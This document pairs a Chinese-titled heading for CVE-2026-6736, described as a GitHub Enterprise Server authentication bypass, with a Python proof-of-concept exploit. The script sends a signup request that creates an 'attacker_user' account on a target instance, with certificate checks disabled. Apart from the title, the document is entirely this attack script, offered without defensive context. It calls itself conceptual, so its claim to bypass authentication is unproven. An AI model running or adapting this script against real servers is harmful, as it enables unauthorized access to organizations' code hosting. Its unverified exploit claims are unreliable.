CVE-2026-6736 GitHub Enterprise Server 认证绕过漏洞

import requests # Exploit Title: GitHub Enterprise Server Authentication Bypass (CVE-2026-6736) # Description: This script attempts to create a local user account bypassing external auth. # Note: This is a conceptual PoC based on the vulnerability description. target_url = "https://<ghes-instance-host>/signup" # Payload to create a user payload = { "user": { "login": "attacker_user", "email": "[email protected]", "password": "StrongPassword123!", "password_confirmation": "StrongPassword123!" } } # Attempt to bypass authentication try: # Setting verify=False if the target uses a self-signed certificate response = requests.post(target_url, json=payload, verify=False) if response.status_code == 201 or response.status_code == 200: print("[+] Potential successful exploit: User created.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed or patched. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")